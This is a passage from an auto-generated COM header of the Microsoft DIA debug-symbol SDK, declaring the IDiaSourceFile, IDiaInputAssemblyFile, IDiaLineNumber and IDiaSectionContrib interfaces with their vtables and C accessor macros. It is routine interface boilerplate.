get_exceptionHandlerAddressOffset(This,pRetVal) ) #define IDiaSymbol10_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol10_get_exceptionHandlerVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) #define IDiaSymbol10_findInputAssemblyFile(This,ppResult) \ ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) #define IDiaSymbol10_get_characteristics(This,pRetVal) \ ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) #define IDiaSymbol10_get_coffGroup(This,pRetVal) \ ( (This)->lpVtbl -> get_coffGroup(This,pRetVal) ) #define IDiaSymbol10_get_bindID(This,pRetVal) \ ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) #define IDiaSymbol10_get_bindSpace(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) #define IDiaSymbol10_get_bindSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) #define IDiaSymbol10_get_isObjCClass(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCClass(This,pRetVal) ) #define IDiaSymbol10_get_isObjCCategory(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCCategory(This,pRetVal) ) #define IDiaSymbol10_get_isObjCProtocol(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCProtocol(This,pRetVal) ) #define IDiaSymbol10_get_inlinee(This,pRetVal) \ ( (This)->lpVtbl -> get_inlinee(This,pRetVal) ) #define IDiaSymbol10_get_inlineeId(This,pRetVal) \ ( (This)->lpVtbl -> get_inlineeId(This,pRetVal) ) #define IDiaSymbol10_get_noexcept(This,pRetVal) \ ( (This)->lpVtbl -> get_noexcept(This,pRetVal) ) #define IDiaSymbol10_get_hasAbsoluteAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAbsoluteAddress(This,pRetVal) ) #define IDiaSymbol10_get_isStaticMemberFunc(This,pRetVal) \ ( (This)->lpVtbl -> get_isStaticMemberFunc(This,pRetVal) ) #define IDiaSymbol10_get_isSignRet(This,pRetVal) \ ( (This)->lpVtbl -> get_isSignRet(This,pRetVal) ) #define IDiaSymbol10_get_coroutineKind(This,pRetVal) \ ( (This)->lpVtbl -> get_coroutineKind(This,pRetVal) ) #define IDiaSymbol10_get_associatedSymbolKind(This,pRetVal) \ ( (This)->lpVtbl -> get_associatedSymbolKind(This,pRetVal) ) #define IDiaSymbol10_get_associatedSymbolSection(This,pRetVal) \ ( (This)->lpVtbl -> get_associatedSymbolSection(This,pRetVal) ) #define IDiaSymbol10_get_associatedSymbolOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_associatedSymbolOffset(This,pRetVal) ) #define IDiaSymbol10_get_associatedSymbolRva(This,pRetVal) \ ( (This)->lpVtbl -> get_associatedSymbolRva(This,pRetVal) ) #define IDiaSymbol10_get_associatedSymbolAddr(This,pRetVal) \ ( (This)->lpVtbl -> get_associatedSymbolAddr(This,pRetVal) ) #define IDiaSymbol10_get_framePadSize(This,pRetVal) \ ( (This)->lpVtbl -> get_framePadSize(This,pRetVal) ) #define IDiaSymbol10_get_framePadOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_framePadOffset(This,pRetVal) ) #define IDiaSymbol10_get_isRTCs(This,pRetVal) \ ( (This)->lpVtbl -> get_isRTCs(This,pRetVal) ) #define IDiaSymbol10_get_sourceLink(This,cb,pcb,pb) \ ( (This)->lpVtbl -> get_sourceLink(This,cb,pcb,pb) ) #endif /* COBJMACROS */ #endif /* C style interface */ HRESULT STDMETHODCALLTYPE IDiaSymbol10_get_sourceLink_Proxy( IDiaSymbol10 * This, /* [in] */ DWORD cb, /* [out] */ DWORD *pcb, /* [size_is][out] */ BYTE *pb); void __RPC_STUB IDiaSymbol10_get_sourceLink_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); #endif /* __IDiaSymbol10_INTERFACE_DEFINED__ */ #ifndef __IDiaSourceFile_INTERFACE_DEFINED__ #define __IDiaSourceFile_INTERFACE_DEFINED__ /* interface IDiaSourceFile */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaSourceFile; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("A2EF5353-F5A8-4eb3-90D2-CB526ACB3CDD") IDiaSourceFile : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_uniqueId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_fileName( /* [retval][out] */ BSTR *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_checksumType( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_compilands( /* [retval][out] */ IDiaEnumSymbols **pRetVal) = 0; virtual HRESULT STDMETHODCALLTYPE get_checksum( /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData) = 0; }; #else /* C style interface */ typedef struct IDiaSourceFileVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaSourceFile * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaSourceFile * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaSourceFile * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uniqueId )( IDiaSourceFile * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_fileName )( IDiaSourceFile * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_checksumType )( IDiaSourceFile * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilands )( IDiaSourceFile * This, /* [retval][out] */ IDiaEnumSymbols **pRetVal); HRESULT ( STDMETHODCALLTYPE *get_checksum )( IDiaSourceFile * This, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); END_INTERFACE } IDiaSourceFileVtbl; interface IDiaSourceFile { CONST_VTBL struct IDiaSourceFileVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaSourceFile_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaSourceFile_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaSourceFile_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaSourceFile_get_uniqueId(This,pRetVal) \ ( (This)->lpVtbl -> get_uniqueId(This,pRetVal) ) #define IDiaSourceFile_get_fileName(This,pRetVal) \ ( (This)->lpVtbl -> get_fileName(This,pRetVal) ) #define IDiaSourceFile_get_checksumType(This,pRetVal) \ ( (This)->lpVtbl -> get_checksumType(This,pRetVal) ) #define IDiaSourceFile_get_compilands(This,pRetVal) \ ( (This)->lpVtbl -> get_compilands(This,pRetVal) ) #define IDiaSourceFile_get_checksum(This,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> get_checksum(This,cbData,pcbData,pbData) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaSourceFile_INTERFACE_DEFINED__ */ #ifndef __IDiaInputAssemblyFile_INTERFACE_DEFINED__ #define __IDiaInputAssemblyFile_INTERFACE_DEFINED__ /* interface IDiaInputAssemblyFile */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaInputAssemblyFile; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("3BFE56B0-390C-4863-9430-1F3D083B7684") IDiaInputAssemblyFile : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_uniqueId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_index( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_timestamp( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_pdbAvailableAtILMerge( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_fileName( /* [retval][out] */ BSTR *pRetVal) = 0; virtual HRESULT STDMETHODCALLTYPE get_version( /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData) = 0; }; #else /* C style interface */ typedef struct IDiaInputAssemblyFileVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaInputAssemblyFile * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaInputAssemblyFile * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaInputAssemblyFile * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uniqueId )( IDiaInputAssemblyFile * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_index )( IDiaInputAssemblyFile * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timestamp )( IDiaInputAssemblyFile * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pdbAvailableAtILMerge )( IDiaInputAssemblyFile * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_fileName )( IDiaInputAssemblyFile * This, /* [retval][out] */ BSTR *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_version )( IDiaInputAssemblyFile * This, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); END_INTERFACE } IDiaInputAssemblyFileVtbl; interface IDiaInputAssemblyFile { CONST_VTBL struct IDiaInputAssemblyFileVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaInputAssemblyFile_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaInputAssemblyFile_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaInputAssemblyFile_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaInputAssemblyFile_get_uniqueId(This,pRetVal) \ ( (This)->lpVtbl -> get_uniqueId(This,pRetVal) ) #define IDiaInputAssemblyFile_get_index(This,pRetVal) \ ( (This)->lpVtbl -> get_index(This,pRetVal) ) #define IDiaInputAssemblyFile_get_timestamp(This,pRetVal) \ ( (This)->lpVtbl -> get_timestamp(This,pRetVal) ) #define IDiaInputAssemblyFile_get_pdbAvailableAtILMerge(This,pRetVal) \ ( (This)->lpVtbl -> get_pdbAvailableAtILMerge(This,pRetVal) ) #define IDiaInputAssemblyFile_get_fileName(This,pRetVal) \ ( (This)->lpVtbl -> get_fileName(This,pRetVal) ) #define IDiaInputAssemblyFile_get_version(This,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> get_version(This,cbData,pcbData,pbData) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaInputAssemblyFile_INTERFACE_DEFINED__ */ #ifndef __IDiaLineNumber_INTERFACE_DEFINED__ #define __IDiaLineNumber_INTERFACE_DEFINED__ /* interface IDiaLineNumber */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaLineNumber; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("B388EB14-BE4D-421d-A8A1-6CF7AB057086") IDiaLineNumber : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_compiland( /* [retval][out] */ IDiaSymbol **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_sourceFile( /* [retval][out] */ IDiaSourceFile **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lineNumber( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lineNumberEnd( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_columnNumber( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_columnNumberEnd( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressSection( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressOffset( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_relativeVirtualAddress( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualAddress( /* [retval][out] */ ULONGLONG *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_length( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_sourceFileId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_statement( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_compilandId( /* [retval][out] */ DWORD *pRetVal) = 0; }; #else /* C style interface */ typedef struct IDiaLineNumberVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaLineNumber * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaLineNumber * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaLineNumber * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compiland )( IDiaLineNumber * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFile )( IDiaLineNumber * This, /* [retval][out] */ IDiaSourceFile **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lineNumber )( IDiaLineNumber * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lineNumberEnd )( IDiaLineNumber * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_columnNumber )( IDiaLineNumber * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_columnNumberEnd )( IDiaLineNumber * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( IDiaLineNumber * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( IDiaLineNumber * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( IDiaLineNumber * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( IDiaLineNumber * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( IDiaLineNumber * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileId )( IDiaLineNumber * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_statement )( IDiaLineNumber * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilandId )( IDiaLineNumber * This, /* [retval][out] */ DWORD *pRetVal); END_INTERFACE } IDiaLineNumberVtbl; interface IDiaLineNumber { CONST_VTBL struct IDiaLineNumberVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaLineNumber_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaLineNumber_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaLineNumber_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaLineNumber_get_compiland(This,pRetVal) \ ( (This)->lpVtbl -> get_compiland(This,pRetVal) ) #define IDiaLineNumber_get_sourceFile(This,pRetVal) \ ( (This)->lpVtbl -> get_sourceFile(This,pRetVal) ) #define IDiaLineNumber_get_lineNumber(This,pRetVal) \ ( (This)->lpVtbl -> get_lineNumber(This,pRetVal) ) #define IDiaLineNumber_get_lineNumberEnd(This,pRetVal) \ ( (This)->lpVtbl -> get_lineNumberEnd(This,pRetVal) ) #define IDiaLineNumber_get_columnNumber(This,pRetVal) \ ( (This)->lpVtbl -> get_columnNumber(This,pRetVal) ) #define IDiaLineNumber_get_columnNumberEnd(This,pRetVal) \ ( (This)->lpVtbl -> get_columnNumberEnd(This,pRetVal) ) #define IDiaLineNumber_get_addressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) #define IDiaLineNumber_get_addressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) #define IDiaLineNumber_get_relativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) #define IDiaLineNumber_get_virtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) #define IDiaLineNumber_get_length(This,pRetVal) \ ( (This)->lpVtbl -> get_length(This,pRetVal) ) #define IDiaLineNumber_get_sourceFileId(This,pRetVal) \ ( (This)->lpVtbl -> get_sourceFileId(This,pRetVal) ) #define IDiaLineNumber_get_statement(This,pRetVal) \ ( (This)->lpVtbl -> get_statement(This,pRetVal) ) #define IDiaLineNumber_get_compilandId(This,pRetVal) \ ( (This)->lpVtbl -> get_compilandId(This,pRetVal) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaLineNumber_INTERFACE_DEFINED__ */ #ifndef __IDiaSectionContrib_INTERFACE_DEFINED__ #define __IDiaSectionContrib_INTERFACE_DEFINED__ /* interface IDiaSectionContrib */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaSectionContrib; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("0CF4B60E-35B1-4c6c-BDD8-854B9C8E3857") IDiaSectionContrib : public IUnknown { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_compiland( /* [retval][out] */ IDiaSymbol **pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressSection( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressOffset( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_relativeVirtualAddress( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualAddress( /* [retval][out] */ ULONGLONG *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_length( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_notPaged( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_code( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_initializedData( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_uninitializedData( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_remove( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_comdat( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_discardable( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_notCached( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_share( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_execute( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_read( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_write( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_dataCrc( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_relocationsCrc( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_compilandId( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_code16bit( /* [retval][out] */ BOOL *pRetVal) = 0; }; #else /* C style interface */ typedef struct IDiaSectionContribVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaSectionContrib * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaSectionContrib * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaSectionContrib * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compiland )( IDiaSectionContrib * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( IDiaSectionContrib * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( IDiaSectionContrib * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( IDiaSectionContrib * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( IDiaSectionContrib * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( IDiaSectionContrib * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notPaged )( IDiaSectionContrib * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( IDiaSectionContrib * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_initializedData )( IDiaSectionContrib * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uninitializedData )( IDiaSectionContrib * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_remove )( IDiaSectionContrib * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_comdat )( IDiaSectionContrib * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_discardable )( IDiaSectionContrib * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notCached )( IDiaSectionContrib * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_share )( IDiaSectionContrib * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_execute )( IDiaSectionContrib * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_read )( IDiaSectionContrib * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_write )( IDiaSectionContrib * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataCrc )( IDiaSectionContrib * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relocationsCrc )( IDiaSectionContrib * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilandId )( IDiaSectionContrib * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code16bit )( IDiaSectionContrib * This, /* [retval][out] */ BOOL *pRetVal); END_INTERFACE } IDiaSectionContribVtbl; interface IDiaSectionContrib { CONST_VTBL struct IDiaSectionContribVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaSectionContrib_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaSectionContrib_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaSectionContrib_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaSectionContrib_get_compiland(This,pRetVal) \ ( (This)->lpVtbl -> get_compiland(This,pRetVal) ) #define IDiaSectionContrib_get_addressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) #define IDiaSectionContrib_get_addressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) #define IDiaSectionContrib_get_relativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) #define IDiaSectionContrib_get_virtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) #define IDiaSectionContrib_get_length(This,pRetVal) \ ( (This)->lpVtbl -> get_length(This,pRetVal) ) #define IDiaSectionContrib_get_notPaged(This,pRetVal) \ ( (This)->lpVtbl -> get_notPaged(This,pRetVal) ) #define IDiaSectionContrib_get_code(This,pRetVal) \ ( (This)->lpVtbl -> get_code(This,pRetVal) ) #define IDiaSectionContrib_get_initializedData(This,pRetVal) \ ( (This)->lpVtbl -> get_initializedData(This,pRetVal) ) #define IDiaSectionContrib_get_uninitializedData(This,pRetVal) \ ( (This)->lpVtbl -> get_uninitializedData(This,pRetVal) ) #define IDiaSectionContrib_get_remove(This,pRetVal) \ ( (This)->lpVtbl -> get_remove(This,pRetVal) ) #define IDiaSectionContrib_get_comdat(This,pRetVal) \ ( (This)->lpVtbl -> get_comdat(This,pRetVal) ) #define IDiaSectionContrib_get_discardable(This,pRetVal) \ ( (This)->lpVtbl -> get_discardable(This,pRetVal) ) #define IDiaSectionContrib_get_notCached(This,pRetVal) \ ( (This)->lpVtbl -> get_notCached(This,pRetVal) ) #define IDiaSectionContrib_get_share(This,pRetVal) \ ( (This)->lpVtbl -> get_share(This,pRetVal) ) #define IDiaSectionContrib_get_execute(This,pRetVal) \ ( (This)->lpVtbl -> get_execute(This,pRetVal) ) #define IDiaSectionContrib_get_read(This,pRetVal) \ ( (This)->lpVtbl -> get_read(This,pRetVal) ) #define IDiaSectionContrib_get_write(This,pRetVal) \ ( (This)->lpVtbl -> get_write(This,pRetVal) ) #define IDiaSectionContrib_get_dataCrc(This,pRetVal) \ ( (This)->lpVtbl -> get_dataCrc(This,pRetVal) ) #define IDiaSectionContrib_get_relocationsCrc(This,pRetVal) \ ( (This)->lpVtbl -> get_relocationsCrc(This,pRetVal) ) #define IDiaSectionContrib_get_compilandId(This,pRetVal) \ ( (This)->lpVtbl -> get_compilandId(This,pRetVal) ) #define IDiaSectionContrib_get_code16bit(This,pRetVal) \ ( (This)->lpVtbl -> get_code16bit(This,pRetVal) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaSectionContrib_INTERFACE_DEFINED__ */ #ifndef __IDiaSegment_INTERFACE_DEFINED__ #define __IDiaSegment_INTERFACE_DEFINED__ /* interface IDiaSegment */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaSegment; #if defined(__cplusplus) && !defined(CINTERFACE) 